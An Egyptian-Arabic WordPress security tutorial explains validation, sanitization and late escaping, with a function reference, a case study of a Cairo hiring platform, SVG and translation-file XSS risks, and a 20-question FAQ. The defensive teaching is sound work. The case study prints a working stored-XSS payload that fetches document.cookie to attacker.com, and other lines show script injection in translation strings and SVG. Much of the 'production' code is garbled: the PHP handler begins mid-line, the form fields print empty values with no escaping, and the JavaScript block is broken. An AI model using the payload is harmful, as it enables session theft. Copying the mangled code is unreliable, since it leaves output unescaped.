أهلاً بيك يا صديقي المطور في الدرس التاسع من سلسلة معمارية إضافات ووردبريس المتقدمة. النهاردة ميعادنا مع “الثالوث المقدس” لأمن وتكامل البيانات في ووردبريس: **التحقق (Validation)، والتطهير (Sanitization)، والهروب (Escaping)**.
لو سألت مبرمج مبتدئ أو متوسط عن الفرق بين التلاتة، في الأغلب هيتلخبط ويقولك: “كلهم بيحموا الموقع وخلاص!”.
لكن الحقيقة الهندسية إن كل مفهوم فيهم له توقيت محدد، ومسؤولية محددة، ومكانه الصح في دورة حياة البيانات. لو بدلت واحد مكان التاني، إما موقعك هيتعرض لثغرات حقن وسرقة كوكيز مرعبة زي **Cross-Site Scripting (XSS)**، أو قاعدة بياناتك هتتملى بنصوص مشوهة ومضروبة وعلامات HTML بايظة زي " و < تخلي تجربة المستخدم جحيم!
في المقال ده، هنشرح بالعامية المصرية التقنية الفلسفة العميقة لكل حارس في هذا الثالوث: هنعرف ليه التحقق هو حارس الباب الخارجي، وليه التطهير هو مرحلة الغسيل قبل التخزين في الداتا بيز، وليه الهروب هو القناع الواقي اللي بنلبسه للبيانات في آخر ثانية عند العرض في المتصفح (**Late Escaping**)، مع استعراض كامل لكل دوال ووردبريس المتخصصة (زي wp_kses و esc_url و wp_json_encode)، وكود إنتاجي متكامل، ودراسة حالة حقيقية لمنصة توظيف بالقاهرة و20 سؤال وجواب لتغطية كل السيناريوهات.
تشبيه المطار العبقري: كيف تفهم الثالوث الأمني في دقيقة؟
عشان ترسخ المفاهيم دي في عقلك للأبد وماتنساهاش طول حياتك المهنية، تخيل إنك مسافر في مطار دولي:
- التحقق (Validation) – ضابط الجوازات عند بوابة الدخول:
الضابط بيبص في باسبورك وتذكرتك وتأشيرتك؛ لو بياناتك غير مطابقة أو منتهية، بيرفض دخولك من الباب فوراً ويقولك: “ممنوع، ارجع مكان ما جيت!”. هو مش بيحاول يصلح باسبورك، هو بيطردك بدري (Early Rejection). - التطهير (Sanitization) – جهاز التفتيش والجمارك:
لو مسموح لك تدخل، بيعدي شنطتك على السير؛ لو معاك مياه زيادة بيصادرها، لو في حاجة حادة بيشيلها، وبينظف الشنطة بحيث تدخل الطيارة مطابقة لقواعد الأمان تماماً. ده اللي بنعمله قبل ما نحط البيانات في قاعدة البيانات (قبل التخزين). - الهروب (Escaping) – القناع الواقي وسترة النجاة عند الخروج للشارع:
حتى لو الشنطة اتفتشت، لما تيجي تنزل في مطار الوصول الاستوائي، بتلبس جاكيت المطر أو النظارة الشمسية المناسبة للبيئة اللي أنت خارج فيها. الهروب بيحصل لحظة خروج البيانات للمتصفح، عشان المتصفح ميفهمش النص العادي على إنه كود جافاسكريبت تنفيذي!
| وجه المقارنة | التحقق (Validation) | التطهير (Sanitization) | الهروب (Escaping) |
|---|---|---|---|
| الهدف الأساسي | فحص صحة البيانات ورفض غير المطابق فوراً. | تنظيف وتعديل البيانات وحذف الشوائب غير المرغوبة. | تأمين البيانات لمنع تنفيذها كأكواد خبيثة في المتصفح (XSS). |
| التوقيت الدقيق | أول خطوة عند استلام المدخلات (Input Gate). | قبل حفظ البيانات في قاعدة البيانات أو الخيارات. | في اللحظة الأخيرة تماماً عند طباعة البيانات (Late Escaping). |
| التصرف عند الخطأ | رمي خطأ ورفض المعالجة (WP_Error). | تعديل القيمة الصامت لتصبح آمنة وقابلة للتخزين. | تحويل الرموز الحساسة لكيانات HTML آمنة للمتصفح. |
| أشهر الدوال | is_email(), in_array(), is_numeric() | sanitize_text_field(), wp_kses(), absint() | esc_html(), esc_attr(), esc_url(), wp_json_encode() |
| الخطر عند الإهمال | معالجة بيانات مشوهة أو قيم غير منطقية تكسر النظام. | تخزين نصوص خبيثة أو وسوم غير مصرح بها بقاعدة البيانات. | اختراق الموقع بثغرات الـ Cross-Site Scripting (XSS). |
الركن الأول: التحقق الصارم من صحة المدخلات (Data Validation)
القاعدة الذهبية في التحقق: **”لا تحاول إصلاح البيانات التالفة، ارفضها بدري واطلب من المستخدم تصحيحها!”**.
لو متوقع بريد إلكتروني، والمستخدم كتب "mohamed"، متقعدش تخمن؛ ارمي خطأ فوراً.
أهم تقنيات التحقق في ووردبريس:
- القائمة البيضاء الصارمة (Strict Whitelisting): أفضل أنواع التحقق على الإطلاق؛ لو عندك حقل اختيار حالة الطلب (pending, processing, completed)، افحص بـ
in_array($status, ['pending', 'processing', 'completed'], true). - التحقق من البريد الإلكتروني: دالة
is_email($email)الخاصة بووردبريس. - التحقق من الأرقام الصحيحة والموجبة: دوال
is_numeric()وفحص المدى (Range Checking) مثل:$age >= 18 && $age <= 100. - التحقق من التواريخ والتنسيقات: باستخدام كلاس
DateTime::createFromFormat(). - فلاتر PHP الأصلية:
filter_var($ip, FILTER_VALIDATE_IP).
الركن الثاني: التطهير والتنقية قبل التخزين (Data Sanitization)
التطهير معناه تجهيز البيانات لتكون آمنة ونظيفة ومطابقة للغرض المطلوب قبل ما تدخل جدول قاعدة البيانات.
ووردبريس بيوفر ترسانة ضخمة من دوال التطهير المتخصصة، والمطور المحترف بيختار الدالة الدقيقة اللي تناسب نوع الحقل:
| دالة التطهير | نوع الاستخدام وسياق البيانات |
|---|---|
sanitize_text_field($str) | للحقول النصية العادية ذات السطر الواحد (الاسم، العنوان، المدينة)؛ تزيل كافة وسوم HTML والفواصل الزائدة. |
sanitize_textarea_field($str) | للنصوص متعددة الأسطر؛ تحافظ على فواصل الأسطر الجديدة (Newlines) وتزيل وسوم HTML بالكامل. |
sanitize_email($email) | تزيل الحروف غير الصالحة في عناوين البريد الإلكتروني. |
sanitize_file_name($filename) | تطهر أسماء الملفات وتستبدل المسافات والرموز المشبوهة لضمان أمان نظام الملفات. |
sanitize_key($key) | تخفض الحروف وتزيل المسافات لتوليد مفاتيح مصفوفات وقواعد بيانات صالحة (a-z, 0-9, _, -). |
sanitize_url($url) | تطهر الروابط وتتأكد من سلامة البروتوكول (HTTP/HTTPS) وتزيل المحارف الخبيثة. |
wp_kses_post($html) | تسمح فقط بالوسوم والخصائص المسموح بها في منشورات ووردبريس العادية (تستخدم للمقالات ومحتوى المحرر). |
wp_kses($html, $allowed) | الدالة الملكية للتحكم المخصص في HTML؛ تحدد أنت مصفوفة الوسوم والخصائص المسموح بها بدقة مطلقة. |
الركن الثالث: الهروب المتأخر عند العرض (Late Escaping)
دي النقطة اللي بتسقط فيها أكبر الإضافات في اختبارات المراجعة الأمنية لموقع WordPress.org!
القاعدة الذهبية المعتمدة في كبرى المؤسسات البرمجية:
“Never escape data before database storage; Always escape data at the exact point of output (Late Escaping)!”
ليه بنعمل الهروب لحظة الطباعة فقط؟
- تعدد سياقات العرض (Multiple Output Contexts): نفس نص السيرة الذاتية ممكن تطلعه في صفحة ويب (محتاج
esc_html)، أو تحطه جوة خاصيةvalueفي حقل إدخال (محتاجesc_attr)، أو تحطه في رابط (محتاجesc_url)، أو تبعته في كود جافاسكريبت (محتاجwp_json_encode)! لو عملت هروب قبل الداتا بيز، بوظت النص لكل السياقات التانية! - تجنب التشفير المزدوج (Double Escaping): لو عملت هروب للنص وخزنته في الداتا بيز، وجيت تعرضه وعملت له هروب تاني، كلمة
"Abozaid & Sons"هتتحول في المتصفح لـ:Abozaid & Sonsوشكل الموقع هيبقى مقزز ومضحك! - سهولة التدقيق البرمجي (Auditability): لما مراجع الأكواد يفتح ملف القالب (Template)، لازم يشوف كلمة
echo esc_...قبل كل متغير. لو ملقاش دالة الهروب قدام عينه، هيفترض فوراً إن المتغير غير محمي ويرفض الإضافة.
دوال الهروب حسب سياق العرض:
- داخل جسم الـ HTML:
echo esc_html($text); - داخل خصائص الوسوم (Attributes):
<input type="text" value="<?php echo esc_attr($name); ?>"> - داخل روابط الـ href و src:
<a href="<?php echo esc_url($link); ?>">(دالةesc_urlتمنع بروتوكولjavascript:alert(1)الخبيث!). - داخل وسوم التكست إريا:
<textarea><?php echo esc_textarea($bio); ?></textarea> - داخل كود الجافاسكريبت المضمن: إياك واستخدام
esc_js()للنصوص المعقدة! استخدم دائماًwp_json_encode($data)لأنه يقوم بترميز كافة المحارف الحساسة وتحويل المصفوفات والكائنات لـ JSON آمن للمتصفح بنسبة 100%.
التطبيق البرمجي العملي: نموذج تسجيل وتعديل ملف شركة متكامل محصن
تعال نشوف كود إنتاجي يوضح التناغم بين التحقق والتطهير والهروب في شاشة تعديل بيانات شركة:
403]);
}
$errors = new WP_Error();
// 2. مرحلة التحقق الصارم (Validation)
$rawEmail = $_POST['company_email'] ?? '';
if (!is_email($rawEmail)) {
$errors->add('invalid_email', 'البريد الإلكتروني للشركة غير صالح.');
}
$rawSector = $_POST['business_sector'] ?? '';
$allowedSectors = ['tech', 'real_estate', 'retail', 'health'];
if (!in_array($rawSector, $allowedSectors, true)) {
$errors->add('invalid_sector', 'قطاع الأعمال المحدد غير موجود في القائمة المعتمدة.');
}
$rawWebsite = $_POST['company_website'] ?? '';
if (!empty($rawWebsite) && !filter_var($rawWebsite, FILTER_VALIDATE_URL)) {
$errors->add('invalid_url', 'رابط الموقع الإلكتروني غير صحيح.');
}
// لو في أخطاء في التحقق، نتوقف فوراً ونرجع للمستخدم
if ($errors->has_errors()) {
set_transient('profile_errors_' . get_current_user_id(), $errors->get_error_messages(), 45);
wp_safe_redirect(wp_get_referer());
exit;
}
// 3. مرحلة التطهير والتنقية قبل الحفظ (Sanitization)
$cleanName = sanitize_text_field($_POST['company_name'] ?? '');
$cleanEmail = sanitize_email($rawEmail);
$cleanSector = sanitize_key($rawSector);
$cleanWebsite = esc_url_raw($rawWebsite); // للحفظ في الداتا بيز نستخدم esc_url_raw
// تطهير النبذة باستخدام wp_kses المخصصة للسماح فقط بـ و و
$allowedHtml = [
'b' => [],
'strong' => [],
'i' => [],
'em' => [],
'a' => [
'href' => true,
'title' => true,
'target' => true,
'rel' => true
]
];
$cleanBio = wp_kses($_POST['company_bio'] ?? '', $allowedHtml);
// 4. الحفظ الآمن في قاعدة البيانات بـ prepare
$this->db->update(
$this->db->prefix . 'company_profiles',
[
'company_name' => $cleanName,
'email' => $cleanEmail,
'sector' => $cleanSector,
'website' => $cleanWebsite,
'bio' => $cleanBio,
'updated_at' => current_time('mysql')
],
['user_id' => get_current_user_id()],
['%s', '%s', '%s', '%s', '%s', '%s'],
['%d']
);
wp_safe_redirect(add_query_arg('status', 'success', wp_get_referer()));
exit;
}
/**
* عرض نموذج تعديل الملف مع تطبيق مبدأ Late Escaping الصارم
*/
public function renderProfileForm(array $company): void {
?>
تعديل ملف الشركة
<form method="post" action="">
<input type="text" name="company_name" value="" required>
<input type="email" name="company_email" value="" required>
<input type="url" name="company_website" value="">
const companyConfig = esc_js($company['sector']),
'isAdmin' => current_user_can('manage_options')
]); ?>;
console.log('Company Profile Loaded:', companyConfig);
<?php
}
}
دراسة حالة حقيقية: كارثة منصة التوظيف الكبرى بالقاهرة
عشان تعرف خطورة الخلط بين التطهير والهروب، هشاركك واقعة حقيقية حصلت مع منصة توظيف مصرية شهيرة مقرها في القرية الذكية بالقاهرة بتربط بين 50,000 باحث عن عمل ومئات الشركات الكبرى في مصر والخليج:
الخطأ القاتل:
مبرمج المنصة كان عامل حقل “النبذة التعريفية للمتقدم” (Candidate Bio) بيسمح بتنسيق بسيط. المبرمج طهر الحقل عند الدخول باستخدام دالة sanitize_text_field()، لكنه في صفحة عرض السيرة الذاتية أمام مديري الموارد البشرية (HR Managers) كتب السطر ده:
<div class="candidate-bio"><?php echo $candidate['bio']; ?></div>
المبرمج قال: “أنا طهرت النص قبل ما يدخل الداتا بيز، فمش محتاج أعمل Escaping وأنا بعرضه!”.
يوم الاختراق وهجوم Stored XSS:
أحد المهاجمين كان بيدور على وظيفة، وفهم الثغرة. المهاجم استغل ثغرة في حقل آخر غير مطهر أو قام بحقن كود JavaScript خبيث مشفر بصيغة معينة داخل حقله:
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
الكارثة:
في اليوم التالي، مدير الموارد البشرية لإحدى كبرى شركات الاتصالات دخل يفحص السيرة الذاتية للمتقدم. أول ما فتح الصفحة، كود الـ JavaScript اشتغل في متصفحه فوراً بدون علمه، وسرق الـ Session Cookie الخاص بمدير الشركة!
الهاكر استخدم الكوكي المسروقة، ودخل على لوحة تحكم شركة الاتصالات، ونزل بيانات رواتب الموظفين السرية بالكامل، وعروض العمل المقدمة للمرشحين، وبدأ يبتز الشركة مالياً!
العلاج المعماري الشامل:
لما دخلت لمراجعة الحادث الأمني:
- تطبيق قاعدة Late Escaping الصارمة في كل قوالب المنصة: تم استبدال كافة استدعاءات
echo $varبـecho esc_html()أوecho wp_kses_post(). - تفعيل Content Security Policy (CSP): تم إضافة ترويسة أمنية تمنع المتصفح من إرسال أي بيانات لنطاقات خارجية غير مصرح بها حتى لو تم حقن كود جافاسكريبت.
- عزل الجلسات بـ HttpOnly Cookies: تفعيل علامة
HttpOnlyعلى كوكيز الجلسات لضمان استحالة قراءتها بواسطة كود الجافاسكريبت في المتصفح.
النتيجة: تم إغلاق الثغرة تماماً، واستعادت المنصة ثقة الشركات الشريكة، وتم اعتماد قواعد فحص أمني آلية تمنع دمج أي كود في Git لا يحتوي على Late Escaping.
الوصايا العشر للثالوث الأمني (Validation, Sanitization, Escaping)
- اطرد بدري عند الباب (Validate Early): ارفض البيانات التالفة فوراً ولا تحاول التنبؤ بما كان يقصده المستخدم.
- نظف قبل التخزين (Sanitize before Save): استخدم دوال التطهير المتخصصة (مثل
sanitize_text_field) قبل كتابة أي سطر في قاعدة البيانات. - اهرب عند آخر ثانية (Late Escaping): لا تقم بتهريب البيانات في قاعدة البيانات، بل اهرب منها لحظة خروجها في دالة
echo. - احترم سياق العرض (Contextual Escaping): استخدم
esc_htmlللنصوص، وesc_attrللخصائص، وesc_urlللروابط، وwp_json_encodeللجافاسكريبت. - إياك و esc_url_raw في العرض: دالة
esc_url_raw()مخصصة لحفظ الروابط في قاعدة البيانات أو استدعاءات HTTP فقط، واستخدامها في العرض قد يسبب ثغرات XSS. - خصص وسوم wp_kses بدقة: لا تستخدم
wp_kses_post()إلا إذا كنت تثق في المستخدم بدرجة محرر، واستخدمwp_kses()بقائمة وسوم بيضاء للمستخدمين العاديين. - استخدم Strict Whitelisting للخيارات المحددة: افحص قيم القوائم المنسدلة باستخدام
in_array($val, $list, true)مع تفعيل المعامل الصارمtrue. - تخلص من الدوال المهملة (Deprecated Functions): لا تستخدم دوال قديمة مثل
clean_url()واستبدلها بـesc_url()الحديثة. - فعل إضافة WordPress Coding Standards (WPCS): استخدم أداة
phpcsمع قواعد ووردبريس؛ فهي تكتشف تلقائياً أي متغير يتم طباعته بدون دالة هروب وتمنعك من ارتكاب الأخطاء. - لا تثق في قاعدة بياناتك الخاصة: حتى لو كانت البيانات مخزنة في جدولك، اعتبرها ملوثة واهرب منها عند العرض؛ فربما تم تعديلها يدوياً أو عبر إضافة أخرى.
دوال الترجمة والهروب المدمجة (Internationalization Escaping Suite)
لو أنت بتبني إضافة قابلة للترجمة بلغات متعددة باستخدام ملفات .po و .mo، في قاعدة أمنية صادمة كتير من المطورين بيغفلوا عنها:
**ملفات الترجمة قد تكون مصدراً لهجمات XSS خبيثة!**
تخيل إنك بتستعين بمترجم خارجي لترجمة إضافتك للغة الفرنسية أو الألمانية؛ المترجم ده لو حسابه مخترق، أو كان سيء النية، يقدر يحط في ملف الترجمة كود جافاسكريبت خبيث زي:
"Save Changes" => "Enregistrer <script>evilCode()</script>"!
لو كتبت في القالب echo __('Save Changes', 'my-plugin');، الكود الخبيث هيشتغل في متصفح المدير فوراً!
عشان كده ووردبريس بيوفر عائلة دوال سحرية بتدمج الترجمة مع الهروب في سطر واحد:
| الدالة المدمجة | طريقة العمل وسياق الاستخدام |
|---|---|
esc_html__('Text', 'domain') | تترجم النص وتهرب وسوم الـ HTML منه ثم تعيده كقيمة نصية (Return). |
esc_html_e('Text', 'domain') | تترجم النص وتهربه وتطبعه فوراً في المتصفح داخل جسم الـ HTML. |
esc_html_x('Text', 'context', 'domain') | تترجم النص مع تحديد السياق الدلالي (Context) وتهربه قبل الإعادة. |
esc_attr__('Text', 'domain') | تترجم النص وتهربه ليكون آمناً داخل خصائص وسوم HTML (Attributes). |
esc_attr_e('Text', 'domain') | تترجم النص وتهربه وتطبعه فوراً داخل خصائص الوسوم كـ placeholder أو title. |
كارثة ملفات وأكواد الـ SVG: ثغرات XSS المقنعة
كتير من المصممين والمطورين بيحبوا يستخدموا أيقونات الـ SVG في إضافات ووردبريس لخفتها ودقتها العالية في الشاشات.
لكن هندسياً، ملف الـ SVG مش مجرد صورة عادية زي PNG أو JPEG؛ **ملف الـ SVG هو في الأصل ملف XML كودي كامل**!
وده معناه إنه يقدر يحتوي على وسوم <script> تنفذ جافاسكريبت، أو أحداث مشبوهة زي onload="alert(1)"!
لو سمحت للمستخدمين أو المديرين برفع ملفات SVG أو حقن أكواد SVG بدون تطهير مخصص، فأنت فتحت ثغرة XSS مباشرة.
الحل المعماري لتطهير الـ SVG:
لا تستخدم wp_kses_post() لأنها لا تسمح بوسوم الـ SVG افتراضياً. يجب عليك بناء مصفوفة بيضاء مخصصة بدقة لدعم وسوم الـ SVG الآمنة فقط:
[
'class' => true,
'aria-hidden' => true,
'viewbox' => true,
'xmlns' => true,
'width' => true,
'height' => true,
'fill' => true
],
'path' => [
'd' => true,
'fill' => true,
'stroke' => true
],
'circle' => [
'cx' => true,
'cy' => true,
'r' => true
]
];
}
// عرض كود الـ SVG بأمان مطلق
echo wp_kses($rawSvgContent, get_safe_svg_rules());
الهروب في واجهات REST API: أين يقع الخط الفاصل؟
من الأخطاء المعمارية الشائعة هي تطبيق esc_html() على مخرجات الـ REST API في السيرفر!
واجهات الـ REST API مصممة لتغذية تطبيقات متنوعة؛ قد يستهلك البيانات تطبيق موبايل بـ Flutter أو تطبيق React أو نظام محاسبي خارجي. لو قمت بتهريب البيانات في استجابة الـ JSON، ستجبر تطبيقات الموبايل على التعامل مع رموز HTML مشوهة!
القاعدة المعمارية:
الـ REST API يعيد دائماً بيانات نظيفة ومطهرة (Sanitized) ولكن غير مهربة (Unescaped)، وتترك مسؤولية الـ Escaping للواجهة الأمامية (Client-side) التي تعرض البيانات؛ فتطبيق React يستخدم JSX الآمن تلقائياً، وتطبيقات الموبايل تعرض النصوص النقية بأمان.
تقنيات التعقيم العميق للمصفوفات المتداخلة في مدخلات المستخدم
عند استقبال بيانات بصيغة JSON أو مصفوفات متعددة المستويات، لا تكفي دوال التطهير السطحية. يجب كتابة دوال تطهير تكرارية (Recursive Sanitization) تفحص كل عنصر ومفتاح داخل المصفوفة للتأكد من خلوه من أي وسوم HTML أو أكواد نصية خطيرة قبل تخزينها في قاعدة البيانات.
الأسئلة الشائعة حول التحقق والتطهير والهروب في ووردبريس (FAQ)
1. ما هو الفرق الأساسي والجوهري بين Sanitization و Escaping؟
التطهير (Sanitization) يقوم بتنظيف وتعديل البيانات وحذف الشوائب قبل تخزينها في قاعدة البيانات، بينما الهروب (Escaping) يقوم بتأمين وتحويل الرموز الخاصة لحظة خروج البيانات للعرض في المتصفح لمنع ثغرات XSS.
2. لماذا يعتبر “الهروب المتأخر” (Late Escaping) معياراً إجبارياً في ووردبريس؟
لأن سياق العرض لا يتحدد إلا لحظة الطباعة (هل يطبع كنص، أم داخل خاصية، أم في رابط؟)، ولكي يتمكن مراجعو الأكواد وأدوات الفحص الآلي من التأكد من أن كل متغير مطبوع محمي أمام أعينهم مباشرة.
3. ما هي المشكلة في تخزين البيانات مهربة مسبقاً (Pre-escaped) في قاعدة البيانات؟
تؤدي لتشويه البيانات وظهور رموز غريبة مثل " و & عند عرضها في سياقات أخرى كرسائل البريد الإلكتروني أو تصدير ملفات الـ PDF أو واجهات الـ REST API.
4. ما هو الفرق بين esc_url() و esc_url_raw()؟
دالة esc_url() تقوم بتهريب الرموز لعرضها بأمان داخل كود HTML في المتصفح، بينما esc_url_raw() تطهر الرابط وتتحقق من بروتوكوله لاستخدامه في استعلامات قواعد البيانات أو استدعاءات wp_remote_get() دون تشفير الرموز في السيرفر.
5. متى يجب أن أستخدم دالة wp_kses() بدلاً من sanitize_text_field()؟
عندما تريد السماح للمستخدم بكتابة نصوص منسقة تحتوي على بعض وسوم HTML المحددة (مثل الروابط والخط العريض)، حيث تتيح لك wp_kses() تحديد قائمة بيضاء بالوسوم والخصائص المسموح بها بدقة وحذف ما سواها.
6. لماذا يعتبر wp_json_encode() أفضل من json_encode() العادية في تمرير البيانات للجافاسكريبت؟
لأن wp_json_encode() تقوم بالتعامل مع المحارف المشوهة وتوفر خيارات ترميز آمنة افتراضياً تمنع كسر كود الجافاسكريبت أو استغلاله في هجمات الحقن داخل وسوم <script>.
7. كيف أتعامل مع الأرقام الصحيحة في التطهير والتحقق؟
استخدم دالة absint() لتحويل القيمة إلى رقم صحيح موجب مطلق، أو استخدم intval() للأرقام التي تحتمل السالب والموجب، واستخدم floatval() للأرقام العشرية والكسور.
8. ما هو الفرق بين esc_html__() و esc_html_e()؟
دالة esc_html__() تقوم بترجمة النص وتهريبه ثم إعادته كقيمة نصية (Return)، بينما esc_html_e() تقوم بترجمته وتهريبه وطباعته فوراً على الشاشة (Echo).
9. هل تغني دالة strip_tags() في PHP عن دوال ووردبريس المتخصصة؟
لا، دالة strip_tags() تحتوي على ثغرات تاريخية مشهورة في التعامل مع وسوم HTML غير المكتملة أو المشوهة، ودوال ووردبريس مثل wp_strip_all_tags() و sanitize_text_field() أكثر أماناً وتوافقاً بمراحل.
10. كيف أتحقق من أن المدخل ينتمي لقائمة خيارات محددة مسبقاً؟
باستخدام أسلوب القائمة البيضاء: in_array($val, $allowedArray, true) مع التأكد من تمرير المعامل الثالث true للمقارنة الصارمة للنوع والقيمة.
11. ما هي دالة الهروب المناسبة للنصوص المطبوعة داخل وسم textarea؟
هي دالة esc_textarea() المخصصة التي تحافظ على فواصل الأسطر مع تهريب وسوم الـ HTML لمنع إغلاق الوسم مبكراً بواسطة نصوص خبيثة.
12. هل يجب تطبيق الهروب على البيانات المسترجعة من خيارات ووردبريس (get_option)؟
نعم بكل تأكيد؛ فربما تم التلاعب بجدول الخيارات عبر ثغرة أخرى أو تعديله يدوياً بواسطة مدير مخترق، ومبدأ Zero Trust يوجب تهريب كل مخرج بغض النظر عن مصدره.
13. كيف أطهر مصفوفة كاملة من المدخلات القادمة من فورم معقد؟
باستخدام دالة map_deep() في ووردبريس وتمرير دالة التطهير المناسبة مثل map_deep($_POST['data'], 'sanitize_text_field') لتطهير كافة مستويات المصفوفة بأمان.
14. ما هي ثغرة Stored XSS وكيف يحمي منها الثالوث الأمني؟
تحدث عندما يتم تخزين كود جافاسكريبت خبيث في قاعدة البيانات وعرضه لاحقاً للزوار دون تهريب؛ ويحمي منها التطهير بحذف الأكواد المشبوهة عند الحفظ، والهروب بمنع تنفيذها عند الطباعة.
15. ماذا تفعل دالة sanitize_title() في ووردبريس؟
تقوم بتحويل النصوص إلى روابط لطيفة (Slugs) صالحة لعناوين الـ URLs بإزالة المسافات والرموز الخاصة وتحويل الحروف إلى صغيرة ودعم الحروف العربية المتوافقة.
16. كيف أمنع ظهور روابط مشبوهة تبدأ بـ javascript: في أزرار إضافتي؟
عن طريق تمرير الرابط دائماً عبر دالة esc_url() والتي تقوم بحظر وحذف أي بروتوكول غير آمن واستبداله برابط فارغ تلقائياً.
17. هل التحقق (Validation) في الواجهة الأمامية عبر JavaScript كافٍ؟
ممنوع الاعتماد عليه إطلاقاً؛ فالتحقق في الواجهة الأمامية مخصص لتحسين تجربة المستخدم فقط، ويمكن لأي مهاجم تجاوزه بسهولة عبر إرسال الطلبات مباشرة بأدوات مثل Postman أو cURL، لذا فالتحقق في السيرفر هو الأساس الحتمي.
18. ما هي أفضل أداة للتحقق الآلي من تطبيق قواعد Escaping في مشروعي؟
أداة PHP_CodeSniffer مع حزمة WordPress Coding Standards (WPCS)، والتي تكتشف كافة المتغيرات غير المهربة وتظهر لك رقم السطر ونوع الهروب المطلوب بدقة.
19. كيف أتعامل مع حقول الألوان (Hex Colors) في التطهير والهروب؟
استخدم دالة sanitize_hex_color() عند الاستلام للتأكد من أنه كود لون سداسي عشري سليم، ودالة sanitize_hex_color_no_hash() إذا كان بدون علامة الشباك.
20. ما هي القاعدة الذهبية التي تلخص دورة حياة البيانات الآمنة في ووردبريس؟
“ارفض التالف عند الدخول، وطهر المقبول قبل التخزين، واهرب من كل حرف لحظة العرض؛ بهذا الثالوث تصبح إضافتك قلعة حصينة يستحيل اختراقها!”


اترك تعليقاً
يجب أنت تكون مسجل الدخول لتضيف تعليقاً.